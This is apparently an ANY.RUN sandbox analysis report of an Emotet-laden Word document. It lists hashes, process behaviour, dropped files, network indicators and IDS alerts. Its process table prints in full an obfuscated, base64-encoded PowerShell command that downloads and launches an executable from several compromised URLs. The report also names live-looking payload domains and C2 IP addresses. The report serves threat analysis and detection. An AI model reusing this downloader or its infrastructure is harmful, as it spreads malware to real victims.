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File name:

DF20-1016-061219.doc

Full analysis: https://app.any.run/tasks/ecc072ca-53e9-4a33-b667-2e88ec62e967
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: December 06, 2019, 15:51:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
maldoc-4
generated-doc
emotet-doc
emotet
trojan
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Est et tempora., Author: Frieda Krol, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 6 12:41:00 2019, Last Saved Time/Date: Fri Dec 6 12:41:00 2019, Number of Pages: 1, Number of Words: 58, Number of Characters: 333, Security: 0
MD5:

AA090DD37EF213472A02A218AED0DB72

SHA1:

4DB36519BA34A9E04E3CC64BDCF714658A81EDC6

SHA256:

C10A719EEBD216355767B8F3A04DB7657A4EAB7DCA9845B5E96CB72AA6172281

SSDEEP:

1536:7yqHHQc9temWSgIdVzW4b7EWPh30q4a/yCKgPufzLzDMeOY5C6OJsdBpZWFX3r9T:h4a/yCKgPufzLz4eOY5CTsdAxr9H/fbH

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 259.exe (PID: 3500)
      • 259.exe (PID: 2340)
      • serialfunc.exe (PID: 1712)
      • serialfunc.exe (PID: 2780)
      • serialfunc.exe (PID: 2704)
      • serialfunc.exe (PID: 3660)
    • Emotet process was detected

      • 259.exe (PID: 2340)
    • Connects to CnC server

      • serialfunc.exe (PID: 2780)
    • EMOTET was detected

      • serialfunc.exe (PID: 2780)
    • Changes the autorun value in the registry

      • serialfunc.exe (PID: 2780)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2460)
      • 259.exe (PID: 2340)
    • PowerShell script executed

      • powershell.exe (PID: 2460)
    • Creates files in the user directory

      • powershell.exe (PID: 2460)
    • Application launched itself

      • 259.exe (PID: 3500)
      • serialfunc.exe (PID: 2780)
    • Executed via WMI

      • powershell.exe (PID: 2460)
    • Starts itself from another location

      • 259.exe (PID: 2340)
    • Connects to server without host name

      • serialfunc.exe (PID: 2780)
  • INFO

    • Dropped object may contain Bitcoin addresses

      • powershell.exe (PID: 2460)
      • 259.exe (PID: 2340)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 4060)
      • serialfunc.exe (PID: 2704)
      • serialfunc.exe (PID: 3660)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 4060)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Est et tempora.
Subject: -
Author: Frieda Krol
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:12:06 12:41:00
ModifyDate: 2019:12:06 12:41:00
Pages: 1
Words: 58
Characters: 333
Security: None
CodePage: Windows Latin 1 (Western European)
Company: -
Lines: 2
Paragraphs: 1
CharCountWithSpaces: 390
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 25
CompObjUserType: Microsoft Forms 2.0 Form
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
8
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 259.exe no specs #EMOTET 259.exe serialfunc.exe no specs #EMOTET serialfunc.exe serialfunc.exe no specs serialfunc.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
4060"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\DF20-1016-061219.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2460powershell -w hidden -en JABSAGkAdQBhAHIAYQBrAG0AbQB3AD0AJwBKAHoAYQBvAHYAYwBzAHgAdQB0AGUAJwA7ACQARgBlAGQAaQB2AGoAbQB3ACAAPQAgACcAMgA1ADkAJwA7ACQAQwBlAG0AegBwAHAAYwB3AD0AJwBCAHAAZwBnAHEAdQBlAGQAJwA7ACQAUABqAHYAcQB5AGcAYQBoAHEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEYAZQBkAGkAdgBqAG0AdwArACcALgBlAHgAZQAnADsAJABWAGQAaQBoAG4AawBlAGUAcwB4AGUAPQAnAFAAeQBmAGEAbQBoAHUAbgBuAGEAegBuAGYAJwA7ACQAUwBmAHYAbgB2AGIAbgBiAG4AYgBpAHkAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQB0AC4AVwBFAEIAQwBMAGkAZQBuAFQAOwAkAFYAdgB6AHgAdABzAG8AagBqAG0AYgB5AHkAPQAnAGgAdAB0AHAAcwA6AC8ALwBxAHUAeQBuAGgAaABhAG4AaABwAGgAdQBjAC4AYwBvAG0ALwBzAGUAdAB1AHAAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAFAAUABGAEEAZgBlAGgAUQAvACoAaAB0AHQAcABzADoALwAvAHAAYQBpAG4AbQBhAG4AYQBnAGUAbQBlAG4AdABkAG8AYwB0AG8AcgBzAGQAZQBuAHYAZQByAC4AYwBvAG0ALwB3AHAALQBzAHUAYwB1AHIAaQAxAC8AUQBBAEUAdwBQAHkAdQBPAC8AKgBoAHQAdABwADoALwAvAGQAZQB2AC4AYQBkAHIAaQBhAG4AYQBwAGEAdABzAGEAbABvAHUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEkAeQBsAE0AcQBXAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AZAB1AHIAdQBwAG8AbAAuAG8AcgBnAC8AdwBlAGIAXwBtAGEAcAAvADIAbQA4AC0AcQA0AG4AawBnAHgANgBiADgALQA3ADUALwAqAGgAdAB0AHAAOgAvAC8AYQByAGsAaQB2AC4AbABpAGwAbABlAGgAYQBtAG0AZQByAGEAcgB0AG0AdQBzAGUAdQBtAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBjADgAMAAtAGwAcAAyAC0AMQA3ADEANwA5ADgAMAA3ADUALwAnAC4AIgBzAFAAbABgAGkAdAAiACgAJwAqACcAKQA7ACQASAB6AG8AYQBxAG0AaAB5AHcAZgA9ACcATAB4AGUAYQB3AG4AcgBxAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAaABpAGcAZgBuAGkAagBjAG0AIABpAG4AIAAkAFYAdgB6AHgAdABzAG8AagBqAG0AYgB5AHkAKQB7AHQAcgB5AHsAJABTAGYAdgBuAHYAYgBuAGIAbgBiAGkAeQAuACIARABPAFcAYABOAGAAbABgAG8AYQBkAGYAaQBMAGUAIgAoACQARQBoAGkAZwBmAG4AaQBqAGMAbQAsACAAJABQAGoAdgBxAHkAZwBhAGgAcQApADsAJABTAHcAdgBkAGgAYwBpAHUAaABvAHMAeAA9ACcARQB4AGwAaQB6AGoAdQBhAGIAagAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFAAagB2AHEAeQBnAGEAaABxACkALgAiAEwAYABFAG4AYABnAFQAaAAiACAALQBnAGUAIAAzADEAOAA2ADAAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AGAAQQByAFQAIgAoACQAUABqAHYAcQB5AGcAYQBoAHEAKQA7ACQARAB6AG4AZgBlAHYAZgB3AD0AJwBJAHoAdgBuAGwAZAByAHMAYQBsAHIAcwAnADsAYgByAGUAYQBrADsAJABJAGkAYwB6AHIAdgBsAG4AeQA9ACcAVQB0AGoAbwBiAG0AbQBhAGMAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARQB2AGoAdwBqAHIAcAB4AGkAawA9ACcAVwB3AHQAZwBmAGgAagB1AGEAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3500"C:\Users\admin\259.exe" C:\Users\admin\259.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2340--27ed09f4C:\Users\admin\259.exe
259.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1712"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe259.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2780--d6864438C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe
serialfunc.exe
User:
admin
Integrity Level:
MEDIUM
2704"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\93CE.tmp"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exeserialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3660"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" "C:\Users\admin\AppData\Local\Temp\93FE.tmp"C:\Users\admin\AppData\Local\serialfunc\serialfunc.exeserialfunc.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Total events
2 472
Read events
1 591
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
10

Dropped files

PID
Process
Filename
Type
4060WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRDD01.tmp.cvr
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\72E55C1D.wmf
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\372E3B7A.wmf
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7F5A133.wmf
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3AE8198.wmf
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5F5724B9.wmf
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\261F9366.wmf
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E94B202F.wmf
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EC3A5C64.wmf
MD5:
SHA256:
4060WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\458A8915.wmf
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
9
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2780
serialfunc.exe
POST
200
51.77.113.102:80
http://51.77.113.102/AIjv0Ul2r8QMA
GB
binary
148 b
malicious
2780
serialfunc.exe
POST
200
51.77.113.102:80
http://51.77.113.102/RpeaXlh2vzVQFH1Y7
GB
binary
148 b
malicious
2460
powershell.exe
GET
200
104.18.45.243:80
http://dev.adrianapatsalou.com/wp-includes/IylMqW/
US
html
3.97 Kb
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2460
powershell.exe
103.28.36.212:443
quynhhanhphuc.com
NhanHoa Software company
VN
suspicious
2780
serialfunc.exe
172.90.70.168:443
Time Warner Cable Internet LLC
US
malicious
2460
powershell.exe
104.18.45.243:80
dev.adrianapatsalou.com
Cloudflare Inc
US
shared
2460
powershell.exe
5.2.84.246:80
www.durupol.org
Alastyr Telekomunikasyon A.S.
TR
malicious
2460
powershell.exe
72.52.134.255:443
painmanagementdoctorsdenver.com
Liquid Web, L.L.C
US
malicious
2780
serialfunc.exe
51.77.113.102:80
GB
malicious

DNS requests

Domain
IP
Reputation
quynhhanhphuc.com
  • 103.28.36.212
unknown
painmanagementdoctorsdenver.com
  • 72.52.134.255
unknown
dev.adrianapatsalou.com
  • 104.18.45.243
  • 104.18.44.243
suspicious
www.durupol.org
  • 5.2.84.246
malicious

Threats

PID
Process
Class
Message
2460
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2460
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2460
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2780
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2780
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
2780
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2780
serialfunc.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
2780
serialfunc.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
2780
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M5
2780
serialfunc.exe
A Network Trojan was detected
ET TROJAN Win32/Emotet CnC Activity (POST) M6
No debug info